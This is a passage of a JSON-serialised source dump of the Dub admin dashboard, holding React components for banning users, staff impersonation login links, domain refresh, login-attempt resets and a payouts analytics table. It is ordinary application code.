return;\n            }\n            await fetch(\"/api/admin/ban\", {\n              method: \"POST\",\n              body: JSON.stringify({\n                email: data.email,\n              }),\n            }).then(async (res) => {\n              if (res.ok) {\n                toast.success(\"User has been banned\");\n              } else {\n                const error = await res.text();\n                toast.error(error);\n              }\n            });\n          }}\n        >\n          <UserInfo data={data} />\n          <div className=\"mt-4\">\n            <BanButton />\n          </div>\n        </form>\n      )}\n    </div>\n  );\n}\n\nconst Form = () => {\n  const { pending } = useFormStatus();\n\n  return (\n    <div className=\"relative flex w-full rounded-md shadow-sm\">\n      <input\n        name=\"email\"\n        id=\"email\"\n        type=\"email\"\n        required\n        disabled={pending}\n        autoComplete=\"off\"\n        className={cn(\n          \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n          pending && \"bg-neutral-100\",\n        )}\n        onPaste={(e: React.ClipboardEvent<HTMLInputElement>) => {\n          // remove mailto: on paste\n          e.preventDefault();\n          const text = e.clipboardData.getData(\"text/plain\");\n          if (text.startsWith(\"mailto:\")) {\n            e.currentTarget.value = text.replace(\"mailto:\", \"\");\n          } else {\n            e.currentTarget.value = text;\n          }\n        }}\n        placeholder=\"panic@thedis.co\"\n        aria-invalid=\"true\"\n      />\n      {pending && (\n        <LoadingSpinner className=\"absolute inset-y-0 right-2 my-auto h-full w-5 text-neutral-400\" />\n      )}\n    </div>\n  );\n};\n\nconst BanButton = () => {\n  const { pending } = useFormStatus();\n  return <Button text=\"Confirm Ban\" loading={pending} variant=\"danger\" />;\n};\n"
  },
  {
    "path": "apps/web/app/(ee)/admin.dub.co/(dashboard)/components/impersonate-workspace.tsx",
    "content": "\"use client\";\n\nimport { LoadingSpinner } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useState } from \"react\";\nimport { useFormStatus } from \"react-dom\";\nimport { toast } from \"sonner\";\nimport UserInfo, { UserInfoProps } from \"./user-info\";\n\nexport function ImpersonateWorkspace() {\n  const [data, setData] = useState<UserInfoProps | null>(null);\n\n  return (\n    <div className=\"flex flex-col space-y-5\">\n      <form\n        action={async (formData) => {\n          await fetch(\"/api/admin/impersonate\", {\n            method: \"POST\",\n            body: JSON.stringify({\n              slug: formData.get(\"slug\"),\n            }),\n          }).then(async (res) => {\n            if (res.ok) {\n              setData(await res.json());\n            } else {\n              const error = await res.text();\n              toast.error(error);\n            }\n          });\n        }}\n      >\n        <Form />\n      </form>\n      {data && <UserInfo data={data} />}\n    </div>\n  );\n}\n\nconst Form = () => {\n  const { pending } = useFormStatus();\n\n  return (\n    <div className=\"relative flex w-full rounded-md shadow-sm\">\n      <span className=\"inline-flex items-center rounded-l-md border border-r-0 border-neutral-300 bg-neutral-50 px-5 text-neutral-500 sm:text-sm\">\n        app.dub.co\n      </span>\n      <input\n        name=\"slug\"\n        id=\"slug\"\n        type=\"text\"\n        required\n        disabled={pending}\n        autoComplete=\"off\"\n        className={cn(\n          \"block w-full rounded-r-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n          pending && \"bg-neutral-100\",\n        )}\n        placeholder=\"owd\"\n        aria-invalid=\"true\"\n      />\n      {pending && (\n        <LoadingSpinner className=\"absolute inset-y-0 right-2 my-auto h-full w-5 text-neutral-400\" />\n      )}\n    </div>\n  );\n};\n"
  },
  {
    "path": "apps/web/app/(ee)/admin.dub.co/(dashboard)/components/refresh-domain.tsx",
    "content": "\"use client\";\n\nimport { LoadingSpinner } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useFormStatus } from \"react-dom\";\nimport { toast } from \"sonner\";\n\nexport function RefreshDomain() {\n  return (\n    <div className=\"flex flex-col space-y-5\">\n      <form\n        action={async (data) =>\n          await fetch(\"/api/admin/refresh-domain\", {\n            method: \"POST\",\n            body: JSON.stringify({\n              domain: data.get(\"domain\"),\n            }),\n          })\n            .then((res) => res.json())\n            .then((res) => {\n              if (res.error) {\n                toast.error(res.error);\n              } else {\n                toast.success(\"Domain has been refreshed\");\n              }\n            })\n        }\n      >\n        <Form />\n      </form>\n    </div>\n  );\n}\n\nconst Form = () => {\n  const { pending } = useFormStatus();\n\n  return (\n    <div className=\"relative flex w-full rounded-md shadow-sm\">\n      <input\n        name=\"domain\"\n        id=\"domain\"\n        type=\"text\"\n        required\n        disabled={pending}\n        autoComplete=\"off\"\n        className={cn(\n          \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n          pending && \"bg-neutral-100\",\n        )}\n        placeholder=\"acme.com\"\n        aria-invalid=\"true\"\n      />\n      {pending && (\n        <LoadingSpinner className=\"absolute inset-y-0 right-2 my-auto h-full w-5 text-neutral-400\" />\n      )}\n    </div>\n  );\n};\n"
  },
  {
    "path": "apps/web/app/(ee)/admin.dub.co/(dashboard)/components/reset-login-attempts.tsx",
    "content": "\"use client\";\n\nimport { LoadingSpinner } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useFormStatus } from \"react-dom\";\nimport { toast } from \"sonner\";\n\nexport function ResetLoginAttempts() {\n  return (\n    <div className=\"flex flex-col space-y-5\">\n      <form\n        action={async (data) =>\n          await fetch(\"/api/admin/reset-login-attempts\", {\n            method: \"POST\",\n            body: JSON.stringify({\n              email: data.get(\"email\"),\n            }),\n          })\n            .then((res) => res.json())\n            .then((res) => {\n              if (res.error) {\n                toast.error(res.error);\n              } else {\n                toast.success(\"Login attempts have been reset\");\n              }\n            })\n        }\n      >\n        <Form />\n      </form>\n    </div>\n  );\n}\n\nconst Form = () => {\n  const { pending } = useFormStatus();\n\n  return (\n    <div className=\"relative flex w-full rounded-md shadow-sm\">\n      <input\n        name=\"email\"\n        id=\"email\"\n        type=\"email\"\n        required\n        disabled={pending}\n        autoComplete=\"off\"\n        className={cn(\n          \"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n          pending && \"bg-neutral-100\",\n        )}\n        placeholder=\"user@example.com\"\n        aria-invalid=\"true\"\n      />\n      {pending && (\n        <LoadingSpinner className=\"absolute inset-y-0 right-2 my-auto h-full w-5 text-neutral-400\" />\n      )}\n    </div>\n  );\n};\n"
  },
  {
    "path": "apps/web/app/(ee)/admin.dub.co/(dashboard)/components/user-info.tsx",
    "content": "\"use client\";\nimport { PartnerStatusBadges } from \"@/ui/partners/partner-status-badges\";\nimport { Badge, Copy, StatusBadge, Tick, useCopyToClipboard } from \"@dub/ui\";\nimport { capitalize, currencyFormatter, nFormatter } from \"@dub/utils\";\nimport { toast } from \"sonner\";\n\nexport interface UserInfoProps {\n  email: string;\n  workspaces: {\n    id: string;\n    name: string;\n    slug: string;\n    plan: string;\n    clicks: number;\n    links: number;\n    totalClicks: number;\n    totalLinks: number;\n  }[];\n  programs: {\n    id: string;\n    name: string;\n    slug: string;\n    status: string;\n    totalClicks: number;\n    totalLeads: number;\n    totalConversions: number;\n    totalSaleAmount: number;\n    totalCommissions: number;\n  }[];\n  impersonateUrl: {\n    app: string;\n    partners: string;\n  };\n}\n\nconst workspaceItems = [\n  { id: \"clicks\", label: \"Clicks\" },\n  { id: \"links\", label: \"Links\" },\n  { id: \"totalClicks\", label: \"Total Clicks\" },\n  { id: \"totalLinks\", label: \"Total Links\" },\n];\n\nconst programItems = [\n  { id: \"totalClicks\", label: \"Total Clicks\" },\n  { id: \"totalLeads\", label: \"Total Leads\" },\n  { id: \"totalConversions\", label: \"Total Conversions\" },\n  { id: \"totalSaleAmount\", label: \"Total Sales\", isCurrency: true },\n  { id: \"totalCommissions\", label: \"Total Commissions\", isCurrency: true },\n];\n\nexport default function UserInfo({ data }: { data: UserInfoProps }) {\n  return (\n    <div className=\"grid gap-4\">\n      <LoginLinkCopyButton text={data.email} url={data.email} />\n      <LoginLinkCopyButton\n        text=\"app.dub.co login link\"\n        url={data.impersonateUrl.app}\n      />\n      <LoginLinkCopyButton\n        text=\"partners.dub.co login link\"\n        url={data.impersonateUrl.partners}\n      />\n\n      {data.workspaces.length > 0 && (\n        <div>\n          <h3 className=\"mb-2 text-sm font-semibold text-neutral-900\">\n            Workspaces\n          </h3>\n          <div className=\"grid grid-cols-2 gap-4\">\n            {data.workspaces.map((workspace) => (\n              <div\n                key={workspace.slug}\n                className=\"flex flex-col space-y-2 rounded-lg border border-neutral-200 p-2\"\n              >\n                <div className=\"flex items-center space-x-2\">\n                  <p className=\"font-semibold\">{workspace.name}</p>\n                  <Badge className=\"lowercase\">{workspace.slug}</Badge>\n                </div>\n                <div className=\"flex justify-between text-sm\">\n                  <span className=\"font-medium text-neutral-700\">ID</span>\n                  <span className=\"text-neutral-500\">{workspace.id}</span>\n                </div>\n                <div className=\"flex justify-between text-sm\">\n                  <span className=\"font-medium text-neutral-700\">Plan</span>\n                  <span className=\"text-neutral-500\">\n                    {capitalize(workspace.plan)}\n                  </span>\n                </div>\n                {workspaceItems.map((item) => (\n                  <div key={item.id} className=\"flex justify-between text-sm\">\n                    <span className=\"font-medium text-neutral-700\">\n                      {item.label}\n                    </span>\n                    <span className=\"text-neutral-500\">\n                      {nFormatter(workspace[item.id], { full: true })}\n                    </span>\n                  </div>\n                ))}\n              </div>\n            ))}\n          </div>\n        </div>\n      )}\n\n      {data.workspaces.length > 0 && data.programs.length > 0 && (\n        <div className=\"my-2 border-b border-neutral-200\" />\n      )}\n\n      {data.programs.length > 0 && (\n        <div>\n          <h3 className=\"mb-2 text-sm font-semibold text-neutral-900\">\n            Programs\n          </h3>\n          <div className=\"grid grid-cols-2 gap-4\">\n            {data.programs.map((program) => (\n              <div\n                key={program.id}\n                className=\"flex flex-col space-y-2 rounded-lg border border-neutral-200 p-2\"\n              >\n                <div className=\"flex items-center space-x-2\">\n                  <p className=\"font-semibold\">{program.name}</p>\n                  <Badge className=\"lowercase\">{program.slug}</Badge>\n                </div>\n                <div className=\"flex justify-between text-sm\">\n                  <span className=\"font-medium text-neutral-700\">ID</span>\n                  <span className=\"text-neutral-500\">{program.id}</span>\n                </div>\n                <div className=\"flex justify-between text-sm\">\n                  <span className=\"font-medium text-neutral-700\">Status</span>\n                  <StatusBadge\n                    variant={PartnerStatusBadges[program.status].variant}\n                  >\n                    {PartnerStatusBadges[program.status].label}\n                  </StatusBadge>\n                </div>\n                {programItems.map((item) => (\n                  <div key={item.id} className=\"flex justify-between text-sm\">\n                    <span className=\"font-medium text-neutral-700\">\n                      {item.label}\n                    </span>\n                    <span className=\"text-neutral-500\">\n                      {item.isCurrency\n                        ? currencyFormatter(program[item.id])\n                        : nFormatter(program[item.id], { full: true })}\n                    </span>\n                  </div>\n                ))}\n              </div>\n            ))}\n          </div>\n        </div>\n      )}\n    </div>\n  );\n}\n\nconst LoginLinkCopyButton = ({ text, url }: { text: string; url: string }) => {\n  const [copied, copyToClipboard] = useCopyToClipboard();\n\n  return (\n    <div className=\"flex w-full items-center space-x-3\">\n      <div className=\"w-full rounded-md border border-neutral-300 px-4 py-2 text-sm text-neutral-900\">\n        {text}\n      </div>\n      <button\n        type=\"button\"\n        onClick={() =>\n          toast.promise(copyToClipboard(url), {\n            success: \"Copied to clipboard\",\n          })\n        }\n        className=\"rounded-md border border-neutral-300 p-2\"\n      >\n        {copied ? (\n          <Tick className=\"h-5 w-5 text-neutral-500\" />\n        ) : (\n          <Copy className=\"h-5 w-5 text-neutral-500\" />\n        )}\n      </button>\n    </div>\n  );\n};\n"
  },
  {
    "path": "apps/web/app/(ee)/admin.dub.co/(dashboard)/events/page.tsx",
    "content": "import Events from \"@/ui/analytics/events\";\nimport { EventsProvider } from \"@/ui/analytics/events/events-provider\";\nimport LayoutLoader from \"@/ui/layout/layout-loader\";\nimport AnalyticsClient from \"app/app.dub.co/(dashboard)/[slug]/analytics/client\";\nimport { Suspense } from \"react\";\n\nexport default function AdminEvents() {\n  return (\n    <Suspense fallback={<LayoutLoader />}>\n      <AnalyticsClient eventsPage>\n        <EventsProvider>\n          <Events adminPage />\n        </EventsProvider>\n      </AnalyticsClient>\n    </Suspense>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/admin.dub.co/(dashboard)/layout-nav-client.tsx",
    "content": "\"use client\";\n\nimport {\n  ClientOnly,\n  MaxWidthWrapper,\n  NavWordmark,\n  Popover,\n  useMediaQuery,\n} from \"@dub/ui\";\nimport Link from \"next/link\";\nimport { usePathname } from \"next/navigation\";\nimport { useState } from \"react\";\n\nconst tabs = [\n  {\n    href: \"/links\",\n    label: \"Links\",\n  },\n  {\n    href: \"/analytics\",\n    label: \"Analytics\",\n  },\n  {\n    href: \"/commissions\",\n    label: \"Commissions\",\n  },\n  {\n    href: \"/payouts\",\n    label: \"Payouts\",\n  },\n  {\n    href: \"/revenue\",\n    label: \"Revenue\",\n  },\n];\n\nexport function AdminNav() {\n  const [openPopover, setOpenPopover] = useState(false);\n  const { isMobile } = useMediaQuery();\n  const pathname = usePathname();\n\n  const NavContent = () => (\n    <div className=\"flex w-full flex-col gap-1 p-2\">\n      {tabs.map((tab) => {\n        const isActive =\n          pathname === tab.href || pathname?.startsWith(`${tab.href}/`);\n        return (\n          <Link\n            href={tab.href}\n            key={tab.href}\n            className={`block w-full rounded-md px-4 py-2 text-left text-sm text-neutral-700 transition-colors hover:bg-neutral-100 active:bg-neutral-200 ${\n              isActive ? \"bg-neutral-100\" : \"\"\n            }`}\n            onClick={() => setOpenPopover(false)}\n          >\n            {tab.label}\n          </Link>\n        );\n      })}\n    </div>\n  );\n\n  return (\n    <div className=\"sticky left-0 right-0 top-0 z-20 border-b border-neutral-200 bg-white\">\n      <MaxWidthWrapper>\n        <div className=\"flex h-16 w-full items-center justify-between sm:justify-start sm:gap-12\">\n          <Link href=\"/\">\n            <NavWordmark className=\"h-6\" />\n          </Link>\n          <ClientOnly>\n            {isMobile ? (\n              <div className=\"ml-auto\">\n                <Popover\n                  content={<NavContent />}\n                  openPopover={openPopover}\n                  setOpenPopover={setOpenPopover}\n                  mobileOnly\n                >\n                  <button className=\"text-neutral-500\">\n                    <svg\n                      width=\"24\"\n                      height=\"24\"\n                      viewBox=\"0 0 24 24\"\n                      fill=\"none\"\n                      stroke=\"currentColor\"\n                      strokeWidth=\"2\"\n                      strokeLinecap=\"round\"\n                      strokeLinejoin=\"round\"\n                    >\n                      <line x1=\"3\" y1=\"12\" x2=\"21\" y2=\"12\" />\n                      <line x1=\"3\" y1=\"6\" x2=\"21\" y2=\"6\" />\n                      <line x1=\"3\" y1=\"18\" x2=\"21\" y2=\"18\" />\n                    </svg>\n                  </button>\n                </Popover>\n              </div>\n            ) : (\n              <div className=\"flex items-center gap-4\">\n                {tabs.map((tab) => {\n                  const isActive =\n                    pathname === tab.href ||\n                    pathname?.startsWith(`${tab.href}/`);\n                  return (\n                    <Link\n                      href={tab.href}\n                      key={tab.href}\n                      className={`rounded-md px-3 py-1.5 text-sm transition-colors ${\n                        isActive\n                          ? \"bg-neutral-100 text-neutral-900\"\n                          : \"text-neutral-500 hover:text-neutral-700\"\n                      }`}\n                    >\n                      {tab.label}\n                    </Link>\n                  );\n                })}\n              </div>\n            )}\n          </ClientOnly>\n        </div>\n      </MaxWidthWrapper>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/admin.dub.co/(dashboard)/layout.tsx",
    "content": "import { constructMetadata } from \"@dub/utils\";\nimport { ReactNode } from \"react\";\nimport { AdminNav } from \"./layout-nav-client\";\n\nexport const metadata = constructMetadata({ noIndex: true });\n\nexport default function AdminLayout({ children }: { children: ReactNode }) {\n  return (\n    <>\n      <div className=\"min-h-screen w-full bg-neutral-50\">\n        <AdminNav />\n        {children}\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/admin.dub.co/(dashboard)/links/page.tsx",
    "content": "import AdminLinksClient from \"app/app.dub.co/(dashboard)/[slug]/links/page-client\";\nimport { Suspense } from \"react\";\n\nexport default function AdminLinks() {\n  return (\n    <Suspense>\n      <AdminLinksClient />\n    </Suspense>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/admin.dub.co/(dashboard)/page.tsx",
    "content": "import { constructMetadata } from \"@dub/utils\";\nimport { BanLink } from \"./components/ban-link\";\nimport { DeletePartnerAccount } from \"./components/delete-partner-account\";\nimport { ImpersonateUser } from \"./components/impersonate-user\";\nimport { ImpersonateWorkspace } from \"./components/impersonate-workspace\";\nimport { RefreshDomain } from \"./components/refresh-domain\";\nimport { ResetLoginAttempts } from \"./components/reset-login-attempts\";\n\nexport const metadata = constructMetadata({\n  title: \"Dub Admin\",\n  noIndex: true,\n});\n\nexport default function AdminPage() {\n  return (\n    <div className=\"mx-auto flex w-full max-w-screen-sm flex-col divide-y divide-neutral-200 overflow-auto bg-white\">\n      <div className=\"flex flex-col space-y-4 px-5 py-10\">\n        <h2 className=\"text-xl font-semibold\">Impersonate User</h2>\n        <p className=\"text-sm text-neutral-500\">Get a login link for a user</p>\n        <ImpersonateUser />\n      </div>\n      <div className=\"flex flex-col space-y-4 px-5 py-10\">\n        <h2 className=\"text-xl font-semibold\">Impersonate Workspace</h2>\n        <p className=\"text-sm text-neutral-500\">\n          Get a login link for the owner of a workspace\n        </p>\n        <ImpersonateWorkspace />\n      </div>\n      <div className=\"flex flex-col space-y-4 px-5 py-10\">\n        <h2 className=\"text-xl font-semibold\">Ban Link</h2>\n        <p className=\"text-sm text-neutral-500\">Ban a dub.sh link</p>\n        <BanLink />\n      </div>\n      <div className=\"flex flex-col space-y-4 px-5 py-10\">\n        <h2 className=\"text-xl font-semibold\">Delete Stripe Express Account</h2>\n        <p className=\"text-sm text-neutral-500\">\n          Delete a partner's Stripe express account (and potentially their\n          partner account as well). <br />\n          <br />\n          Caveats:\n          <br />- If the partner has already received payouts via Stripe, their\n          Stripe Express account won't be deleted.\n          <br />- If the partner has already received commissions or leads on\n          Dub, their partner account won't be deleted.\n        </p>\n        <DeletePartnerAccount />\n      </div>\n      <div className=\"flex flex-col space-y-4 px-5 py-10\">\n        <h2 className=\"text-xl font-semibold\">Refresh Domain</h2>\n        <p className=\"text-sm text-neutral-500\">\n          Remove and re-add domain from Vercel\n        </p>\n        <RefreshDomain />\n      </div>\n      <div className=\"flex flex-col space-y-4 px-5 py-10\">\n        <h2 className=\"text-xl font-semibold\">Reset Login Attempts</h2>\n        <p className=\"text-sm text-neutral-500\">\n          Reset a user's invalidLoginAttempts and lockedAt fields\n        </p>\n        <ResetLoginAttempts />\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/admin.dub.co/(dashboard)/payouts/client.tsx",
    "content": "\"use client\";\n\nimport { formatDateTooltip } from \"@/lib/analytics/format-date-tooltip\";\nimport { AnalyticsLoadingSpinner } from \"@/ui/analytics/analytics-loading-spinner\";\nimport { PayoutStatusBadges } from \"@/ui/partners/payout-status-badges\";\nimport { FilterButtonTableRow } from \"@/ui/shared/filter-button-table-row\";\nimport SimpleDateRangePicker from \"@/ui/shared/simple-date-range-picker\";\nimport { InvoiceStatus } from \"@dub/prisma/client\";\nimport {\n  Button,\n  Filter,\n  StatusBadge,\n  Table,\n  usePagination,\n  useRouterStuff,\n  useTable,\n} from \"@dub/ui\";\nimport { Areas, TimeSeriesChart, XAxis, YAxis } from \"@dub/ui/charts\";\nimport { CircleDotted, GridIcon, Paypal } from \"@dub/ui/icons\";\nimport {\n  cn,\n  currencyFormatter,\n  fetcher,\n  formatDateTime,\n  OG_AVATAR_URL,\n} from \"@dub/utils\";\nimport NumberFlow from \"@number-flow/react\";\nimport Link from \"next/link\";\nimport { Fragment, useCallback, useMemo, useState } from \"react\";\nimport useSWR from \"swr\";\n\ninterface TimeseriesData {\n  date: Date;\n  payouts: number;\n  fees: number;\n  total: number;\n}\n\ninterface InvoiceData {\n  date: Date;\n  programId: string;\n  programName: string;\n  programLogo: string;\n  status: InvoiceStatus;\n  amount: number;\n  fee: number;\n  total: number;\n}\n\ntype Tab = {\n  id: \"payouts\" | \"fees\" | \"total\";\n  label: string;\n  colorClassName: string;\n};\n\nexport default function PayoutsPageClient() {\n  const { queryParams, getQueryString, searchParamsObj } = useRouterStuff();\n  const { interval, start, end, status, programId } = searchParamsObj;\n\n  const { data: { invoices, timeseriesData } = {}, isLoading } = useSWR<{\n    invoices: InvoiceData[];\n    timeseriesData: TimeseriesData[];\n  }>(`/api/admin/payouts${getQueryString()}`, fetcher, {\n    keepPreviousData: true,\n  });\n\n  // Extract unique programs from invoices\n  const programs = useMemo(() => {\n    if (!invoices) return [];\n    const programMap = new Map<\n      string,\n      { id: string; name: string; logo: string }\n    >();\n    invoices.forEach((invoice) => {\n      if (!programMap.has(invoice.programId)) {\n        programMap.set(invoice.programId, {\n          id: invoice.programId,\n          name: invoice.programName,\n          logo: invoice.programLogo,\n        });\n      }\n    });\n    return Array.from(programMap.values()).sort((a, b) =>\n      a.name.localeCompare(b.name),\n    );\n  }, [invoices]);\n\n  // Filter configuration\n  const filters = useMemo(\n    () => [\n      {\n        key: \"programId\",\n        icon: GridIcon,\n        label: \"Program\",\n        options:\n          programs.map((program) => ({\n            value: program.id,\n            label: program.name,\n            icon: (\n              <img\n                src={program.logo || `${OG_AVATAR_URL}${program.name}`}\n                alt={`${program.name} image`}\n                className=\"size-4 rounded-full\"\n              />\n            ),\n          })) ?? null,\n      },\n      {\n        key: \"status\",\n        icon: CircleDotted,\n        label: \"Status\",\n        options: Object.entries(PayoutStatusBadges)\n          .filter(([key]) =>\n            [\"processing\", \"completed\", \"failed\"].includes(key),\n          )\n          .map(([value, { label }]) => {\n            const Icon =\n              PayoutStatusBadges[value as keyof typeof PayoutStatusBadges].icon;\n            return {\n              value,\n              label,\n              icon: (\n                <Icon\n                  className={cn(\n                    PayoutStatusBadges[value as keyof typeof PayoutStatusBadges]\n                      .className,\n                    \"size-4 bg-transparent\",\n                  )}\n                />\n              ),\n            };\n          }),\n      },\n    ],\n    [programs],\n  );\n\n  const activeFilters = useMemo(() => {\n    return [\n      ...(programId ? [{ key: \"programId\", value: programId }] : []),\n      ...(status ? [{ key: \"status\", value: status }] : []),\n    ];\n  }, [programId, status]);\n\n  const onSelect = useCallback(\n    (key: string, value: any) =>\n      queryParams({\n        set: {\n          [key]: value,\n        },\n        del: \"page\",\n      }),\n    [queryParams],\n  );\n\n  const onRemove = useCallback(\n    (key: string) =>\n      queryParams({\n        del: [key, \"page\"],\n      }),\n    [queryParams],\n  );\n\n  const onRemoveAll = useCallback(\n    () =>\n      queryParams({\n        del: [\"status\", \"programId\"],\n      }),\n    [queryParams],\n  );\n\n  const tabs: Tab[] = [\n    {\n      id: \"payouts\",\n      label: \"Payouts\",\n      colorClassName: \"text-blue-500/50 bg-blue-500/50 border-blue-500\",\n    },\n    {\n      id: \"fees\",\n      label: \"Fees\",\n      colorClassName: \"text-red-500/50 bg-red-500/50 border-red-500\",\n    },\n    {\n      id: \"total\",\n      label: \"Total\",\n      colorClassName: \"text-green-500/50 bg-green-500/50 border-green-500\",\n    },\n  ];\n\n  const [selectedTab, setSelectedTab] = useState<\"payouts\" | \"fees\" | \"total\">(\n    \"payouts\",\n  );\n  const tab = tabs.find(({ id }) => id === selectedTab) ?? tabs[0];\n\n  // take the last 12 months\n  const chartData =\n    timeseriesData?.map(({ date, ...rest }) => ({\n      date: new Date(date),\n      values: {\n        value: rest[selectedTab],\n      },\n    })) ?? null;\n\n  const dateFormatter = (date: Date) =>\n    date.toLocaleDateString(\"en-US\", {\n      month: \"short\",\n      year: \"numeric\",\n      timeZone: \"UTC\",\n    });\n\n  const totals = useMemo(() => {\n    return {\n      payouts:\n        timeseriesData?.reduce((acc, { payouts }) => acc + payouts, 0) ?? 0,\n      fees: timeseriesData?.reduce((acc, { fees }) => acc + fees, 0) ?? 0,\n      total: timeseriesData?.reduce((acc, { total }) => acc + total, 0) ?? 0,\n    };\n  }, [timeseriesData]);\n\n  const { pagination, setPagination } = usePagination();\n\n  const { table, ...tableProps } = useTable({\n    data: invoices ?? [],\n    columns: [\n      {\n        id: \"date\",\n        header: \"Payment Date (UTC)\",\n        accessorKey: \"date\",\n        cell: ({ row }) =>\n          formatDateTime(row.original.date, {\n            timeZone: \"UTC\",\n          }),\n      },\n      {\n        id: \"program\",\n        header: \"Program\",\n        cell: ({ row }) => (\n          <div className=\"flex items-center gap-1.5\">\n            <img\n              src={row.original.programLogo}\n              alt={row.original.programName}\n              width={20}\n              height={20}\n              className=\"size-4 rounded-full\"\n            />\n            <span className=\"text-sm font-medium\">\n              {row.original.programName}\n            </span>\n          </div>\n        ),\n        meta: {\n          filterParams: ({ row }) => ({\n            programId: row.original.programId,\n          }),\n        },\n      },\n      {\n        id: \"status\",\n        header: \"Status\",\n        cell: ({ row }) => {\n          const badge = PayoutStatusBadges[row.original.status];\n\n          return badge ? (\n            <StatusBadge icon={badge.icon} variant={badge.variant}>\n              {badge.label}\n            </StatusBadge>\n          ) : (\n            \"-\"\n          );\n        },\n        meta: {\n          filterParams: ({ row }) => ({\n            status: row.original.status,\n          }),\n        },\n      },\n      {\n        id: \"amount\",\n        header: \"Amount\",\n        accessorKey: \"amount\",\n        cell: ({ row }) => currencyFormatter(row.original.amount),\n      },\n      {\n        id: \"fee\",\n        header: \"Fee\",\n        accessorKey: \"fee\",\n        cell: ({ row }) => currencyFormatter(row.original.fee),\n      },\n      {\n        id: \"total\",\n        header: \"Total\",\n        accessorKey: \"total\",\n        cell: ({ row }) => currencyFormatter(row.original.total),\n      },\n    ],\n    pagination,\n    onPaginationChange: setPagination,\n    resourceName: (plural) => `invoice${plural ? \"s\" : \"\"}`,\n    rowCount: invoices?.length ?? 0,\n    loading: isLoading,\n    cellRight: (cell) => {\n      const meta = cell.column.columnDef.meta as\n        | {\n            filterParams?: any;\n          }\n        | undefined;\n\n      return (\n        meta?.filterParams && (\n          <FilterButtonTableRow set={meta.filterParams(cell)} />\n        )\n      );\n    },\n  });\n\n  return (\n    <div className=\"mx-auto flex w-full max-w-screen-xl flex-col gap-3 p-6\">\n      <div className=\"flex flex-col gap-3 md:flex-row md:items-center\">\n        <Filter.Select\n          className=\"w-full md:w-fit\"\n          filters={filters}\n          activeFilters={activeFilters}\n          onSelect={onSelect}\n          onRemove={onRemove}\n        />\n        <SimpleDateRangePicker\n          defaultInterval=\"mtd\"\n          className=\"w-full sm:min-w-[200px] md:w-fit\"\n        />\n        <Link href=\"/payouts/paypal\">\n          <Button\n            variant=\"secondary\"\n            text=\"Paypal payouts\"\n            icon={<Paypal className=\"size-4\" />}\n          />\n        </Link>\n      </div>\n      {activeFilters.length > 0 && (\n        <div>\n          <Filter.List\n            filters={filters}\n            activeFilters={activeFilters}\n            onSelect={onSelect}\n            onRemove={onRemove}\n            onRemoveAll={onRemoveAll}\n          />\n        </div>\n      )}\n      <div className=\"flex flex-col divide-y divide-neutral-200 rounded-lg border border-neutral-200 bg-white\">\n        <div className=\"scrollbar-hide grid w-full grid-cols-1 divide-y overflow-y-hidden sm:grid-cols-3 sm:divide-x sm:divide-y-0\">\n          {tabs.map(({ id, label, colorClassName }) => {\n            return (\n              <button\n                key={id}\n                onClick={() => {\n                  setSelectedTab(id);\n                  queryParams({\n                    set: { tab: id },\n                  });\n                }}\n                className={cn(\n                  \"border-box relative block h-full w-full flex-none px-4 py-3 sm:px-8 sm:py-6\",\n                  \"transition-colors hover:bg-neutral-50 focus:outline-none active:bg-neutral-100\",\n                  \"ring-inset ring-neutral-500 focus-visible:ring-1 sm:first:rounded-tl-xl\",\n                )}\n              >\n                {/* Active tab indicator */}\n                {selectedTab === id && (\n                  <div className=\"absolute bottom-0 left-0 h-0.5 w-full bg-black\" />\n                )}\n                <div className=\"flex items-center gap-2.5 text-sm text-neutral-600\">\n                  <div\n                    className={cn(\n                      \"h-2 w-2 rounded-sm bg-current shadow-[inset_0_0_0_1px_#00000019]\",\n                      colorClassName,\n                    )}\n                  />\n                  <span>{label}</span>\n                </div>\n                <div className=\"mt-1 flex h-12 items-center\">\n                  {(totals[id] || totals[id] === 0) && !isLoading ? (\n                    <NumberFlow\n                      value={(totals[id] ?? 0) / 100}\n                      className=\"text-xl font-medium sm:text-3xl\"\n                      format={{\n                        style: \"currency\",\n                        currency: \"USD\",\n                        // @ts-ignore – trailingZeroDisplay is a valid option but TS is outdated\n                        trailingZeroDisplay: \"stripIfInteger\",\n                      }}\n                    />\n                  ) : (\n                    <div className=\"h-10 w-24 animate-pulse rounded-md bg-neutral-200\" />\n                  )}\n                </div>\n              </button>\n            );\n          })}\n        </div>\n        <div className=\"p-5 sm:p-10\">\n          <div className=\"flex h-96 w-full items-center justify-center\">\n            {chartData ? (\n              chartData.length > 0 ? (\n                <TimeSeriesChart\n                  data={chartData}\n                  series={[\n                    {\n                      id: \"value\",\n                      valueAccessor: (d) => d.values.value,\n                      isActive: true,\n                      colorClassName: tab.colorClassName,\n                    },\n                  ]}\n                  tooltipClassName=\"p-0\"\n                  tooltipContent={(d) => (\n                    <>\n                      <p className=\"border-b border-neutral-200 px-4 py-3 text-sm text-neutral-900\">\n                        {formatDateTooltip(d.date, {\n                          interval,\n                          start,\n                          end,\n                          timezone: \"UTC\",\n                        })}\n                      </p>\n                      <div className=\"grid grid-cols-2 gap-x-6 gap-y-2 px-4 py-3 text-sm\">\n                        <Fragment>\n                          <div className=\"flex items-center gap-2\">\n                            <div\n                              className={cn(\n                                \"h-2 w-2 rounded-sm shadow-[inset_0_0_0_1px_#0003]\",\n                                tab.colorClassName,\n                              )}\n                            />\n                            <p className=\"capitalize 